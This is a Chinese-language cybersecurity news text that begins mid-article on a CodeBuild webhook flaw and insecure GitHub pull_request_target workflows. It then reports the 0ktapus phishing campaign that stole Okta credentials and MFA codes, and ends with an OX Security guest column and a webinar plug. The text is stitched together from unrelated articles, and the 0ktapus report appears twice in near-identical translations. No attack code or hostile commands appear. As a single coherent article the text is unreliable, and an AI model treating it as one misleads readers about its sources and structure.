为降低此类风险,必须确保不受信任的贡献不会触发特权CI/CD管道,具体措施包括:启用新的Pull Request Comment Approval构建门控、使用CodeBuild托管运行器通过GitHub工作流管理构建触发器、确保webhook过滤器中的正则表达式模式被锚定、为每个CodeBuild项目生成唯一的PAT、将PAT权限限制在最低必要范围,并考虑使用专用的无特权GitHub账户进行CodeBuild集成。

"此漏洞是一个教科书般的案例,说明了为什么攻击者以CI/CD环境为目标:一个微妙且容易被忽视的缺陷可能被利用以产生巨大影响,"Wiz研究人员指出。"复杂性、不受信任的数据和特权凭证的结合,为无需事先访问即可造成高影响入侵创造了完美条件。"

这并非CI/CD管道安全首次受到关注。去年,Sysdig的研究详细说明了如何利用与pull_request_target触发器相关的不安全GitHub Actions工作流,通过单个分叉拉取请求泄露特权GITHUB_TOKEN并获取对数十个开源项目的未授权访问。

Orca Security的一项类似的两部分分析发现,谷歌、微软、英伟达及其他财富500强公司的项目中存在不安全的pull_request_target配置,可能允许攻击者运行任意代码、窃取敏感机密并向受信任分支推送恶意代码或依赖项。这一现象被称为pull_request_nightmare。

"通过滥用通过pull_request_target触发的配置错误的工作流,攻击者可以从不受信任的分叉拉取请求升级为在GitHub托管甚至自托管运行器上执行远程代码(RCE),"安全研究员Roi Nisimi指出。

"使用pull_request_target的GitHub Actions工作流绝不应在没有适当验证的情况下检出不受信任的代码。一旦这样做,它们就面临完全被入侵的风险。"

超过130家公司卷入了一场仿冒多因素认证系统的广泛钓鱼攻击活动中。

针对Twilio和Cloudflare员工的定向攻击与一场大规模钓鱼活动有关,导致超过130个组织的9,931个账户遭到入侵。研究人员发现,这些攻击活动与身份和访问管理公司Okta被集中滥用有关,该威胁组织因此得名"0ktapus"。

"攻击者的主要目标是获取目标组织用户的Okta身份凭证和多因素认证(MFA)验证码,"Group-IB研究人员在最近的报告中写道,"这些用户收到了包含钓鱼网站链接的短信,这些网站模仿了其所在组织的Okta认证页面。"

受影响的企业包括114家美国公司,其他受害者还分布在68个其他国家。

Group-IB高级威胁情报分析师Roberto Martinez表示,攻击的范围仍是未知数。"0ktapus攻击活动取得了惊人的成功,其完整规模可能在一段时间内都无法确定。"

0ktapus黑客的目标

据信,0ktapus攻击者最初以电信公司为目标展开活动,希望获取潜在目标的电话号码。

虽然不确定攻击者如何获取用于MFA相关攻击的电话号码列表,但研究人员提出的一个理论是,0ktapus攻击者最初针对电信公司展开攻击。

"根据Group-IB分析的被入侵数据,攻击者最初以移动运营商和电信公司为目标展开攻击,可能从这些初始攻击中收集了电话号码,"研究人员写道。

随后,攻击者通过短信向目标发送钓鱼链接。这些链接指向模仿目标雇主使用的Okta认证页面的网页。受害者被要求提交Okta身份凭证以及用于保护登录安全的多因素认证(MFA)验证码。

在相关的技术博客中,Group-IB研究人员解释说,最初主要针对软件即服务公司的入侵只是多管齐下攻击的第一阶段。0ktapus的最终目标是访问公司邮件列表或面向客户的系统,以期促成供应链攻击。

在一个可能相关的事件中,在Group-IB上周晚些时候发布报告后的几小时内,DoorDash公司透露其遭受了具有0ktapus风格攻击所有特征的攻击。

影响范围:MFA攻击

DoorDash在一篇博客文章中透露:"未经授权的第三方利用供应商员工的被盗凭证访问了我们的一些内部工具。"据该文章称,攻击者随后窃取了客户和配送员的个人信息,包括姓名、电话号码、电子邮件和配送地址。

Group-IB报告称,在其攻击活动中,攻击者共窃取了5,441个MFA验证码。

"诸如MFA这样的安全措施可能看起来很安全……但很明显,攻击者可以用相对简单的工具克服它们,"研究人员写道。

"这又是一次钓鱼攻击,显示了对手如何轻易绕过所谓安全的多因素认证,"KnowBe4的数据驱动防御传播者Roger Grimes在通过电子邮件发表的声明中写道,"将用户从易受钓鱼攻击的密码转移到易受钓鱼攻击的MFA,根本没有任何好处。这是大量的艰苦工作、资源、时间和金钱,却没有获得任何收益。"

为减轻0ktapus式攻击活动的影响,研究人员建议保持良好的URL和密码卫生习惯,并使用符合FIDO2标准的安全密钥进行MFA。

"无论使用何种MFA,"Grimes建议,"都应该教育用户了解针对其MFA形式的常见攻击类型、如何识别这些攻击以及如何应对。我们在告诉用户设置密码时会这样做,但在告诉他们使用所谓更安全的MFA时却没有这样做。"

一场仿冒多因素认证系统的广泛钓鱼活动已波及超过130家公司。

针对Twilio和Cloudflare员工的定向攻击与一场大规模钓鱼活动有关,导致超过130家组织的9,931个账户遭到入侵。研究人员发现,这些攻击活动集中滥用了身份与访问管理公司Okta的系统,该威胁组织因此得名“0ktapus”。

“攻击者的主要目标是获取目标组织用户的Okta身份凭证和多因素认证(MFA)验证码。”Group-IB研究人员在近期报告中写道,“这些用户收到了包含钓鱼网站链接的短信,这些网站仿冒了其所在组织的Okta认证页面。”

受影响的企业包括114家美国公司,其余受害者分布在其他68个国家。

Group-IB高级威胁情报分析师Roberto Martinez表示,攻击的范围仍不明确。“0ktapus攻击活动取得了惊人的成功,其完整规模可能在一段时间内无法完全掌握。”

0ktapus黑客的目标
据信,0ktapus攻击者最初以电信公司为目标展开活动,企图获取潜在目标的电话号码。

虽然不确定攻击者如何获取用于MFA相关攻击的电话号码列表,但研究人员提出一种假设:0ktapus攻击者最初针对电信公司展开行动。

研究人员写道:“根据Group-IB分析的被入侵数据,攻击者最初以移动运营商和电信公司为目标展开攻击,可能从这些初始攻击中收集了电话号码。”

随后,攻击者通过短信向目标发送钓鱼链接。这些链接指向模仿目标雇主所用Okta认证页面的网站。受害者被要求提交Okta身份凭证以及用于保护登录的多因素认证(MFA)验证码。

在随附的技术博客中,Group-IB研究人员解释称,初期主要针对软件即服务(SaaS)公司的入侵只是多管齐下攻击的第一阶段。0ktapus的最终目标是访问公司邮件列表或面向客户的系统,以期推动供应链攻击。

在一宗可能相关的事件中,Group-IB上周晚些时候发布报告后数小时内,DoorDash公司披露其遭受的攻击具有0ktapus式攻击的所有特征。

攻击影响范围:MFA攻击
DoorDash在一篇博客文章中透露:“未经授权的第三方利用供应商员工的被盗凭证访问了我们部分内部工具。”据文章称,攻击者随后窃取了客户和配送员的个人信息,包括姓名、电话号码、电子邮箱和配送地址。

Group-IB报告称,在此次攻击活动中,攻击者共窃取了5,441个MFA验证码。

研究人员写道:“MFA等安全措施看似可靠……但显然攻击者能用相对简单的工具突破这些防护。”

KnowBe4数据驱动防御传播者Roger Grimes在电子邮件声明中写道:“这再次证明钓鱼攻击能让对手轻松绕过所谓安全的MFA。将用户从易受钓鱼攻击的密码转向同样易受钓鱼攻击的MFA毫无益处。这耗费大量艰苦工作、资源、时间和金钱,却未带来任何安全效益。”

为防范0ktapus式攻击,研究人员建议规范URL和密码管理,并使用符合FIDO2标准的安全密钥进行MFA认证。

Grimes建议:“无论使用何种MFA,都应教育用户了解针对其MFA形式的常见攻击类型、如何识别这些攻击以及如何应对。我们在要求用户设置密码时会这样做,但在要求他们使用所谓更安全的MFA时却往往忽略这一点。”

旧剧本,新规模:当防御者追逐潮流时,攻击者正在优化基本功

安全行业热衷于讨论“新”威胁。AI驱动的攻击、抗量子加密、零信任架构。但环顾四周,似乎2025年最有效的攻击方式与2015年几乎如出一辙。攻击者仍在利用那些曾经奏效的入口点——只是做得更好了。

供应链:仍在向下游蔓延

正如Shai Hulud NPM活动所揭示的,供应链仍然是一个主要问题。一个被破坏的软件包可以波及整个依赖树,影响数千个下游项目。攻击向量并未改变,改变的是攻击者识别和利用机会的效率。

AI已经降低了攻击门槛。正如AI使单人软件项目能够构建复杂应用一样,网络犯罪领域也是如此。过去需要大型有组织行动才能完成的事情,现在只需精干的团队甚至个人就能执行。我们怀疑其中一些NPM软件包攻击(包括Shai-Hulud)实际上可能是单人操作。

随着软件开发变得越来越简单,威胁行为体又展现出打持久战的能力(如XZ Utils攻击)——我们很可能会看到更多案例:攻击者发布合法的软件包以长期建立信任,然后在某一天,只需点击一个按钮,就能向所有下游用户注入恶意功能。

钓鱼攻击:仍仅需一次点击

官方商店:仍不安全

或许最令人沮丧的是:恶意软件仍在绕过官方审查。我们对窃取ChatGPT和DeepSeek对话的恶意Chrome扩展的研究揭示了一个我们从移动应用商店早已了解的事实——自动化审核和人工审核员跟不上攻击者的复杂程度。

权限问题听起来应该很熟悉,因为它本已得到解决。Android和iOS为用户提供了精细控制:你可以允许位置访问但屏蔽麦克风,仅允许应用在前台时使用摄像头而非后台。Chrome本可为扩展程序实施相同的模型——技术是现成的。这只是一个优先级和实施的问题。

然而,用户面对扩展程序请求“读取所有网站信息”的权限时,只能做出二元选择。如果一个扩展程序要求这种级别的访问权限,在大多数情况下,它将被用于恶意目的,或者会在后续更新中这样做。

攻击者没有“炫酷工具综合征”

攻击者并未在AI到来时抛弃他们的剧本——而是将其自动化。他们仍在利用供应链、钓鱼开发者、并让恶意软件绕过审查。他们只是用十分之一的资源就做到了。

我们不应在基础防护仍未奏效时追逐花哨的新防御策略。修复权限模型、强化供应链验证、使防钓鱼认证成为默认设置。基础工作现在比以往更重要,而非更不重要。

攻击者优化了基本功。防御者应优先关注什么?
加入OX参与我们即将举行的网络研讨会

威胁情报更新:黑客的有效手段与防御方的应对措施

我们将探讨正在流行的攻击技术、实际有效的防御手段,以及在资源有限时应优先处理的事项。在此注册

在此注册

注:本文由OX安全研究团队负责人Moshe Siman Tov Bustan独家撰写并供稿。


觉得这篇文章有趣?
本文来自我们一位重要合作伙伴的供稿。
关注我们的Google NewsTwitterLinkedIn阅读更多独家内容。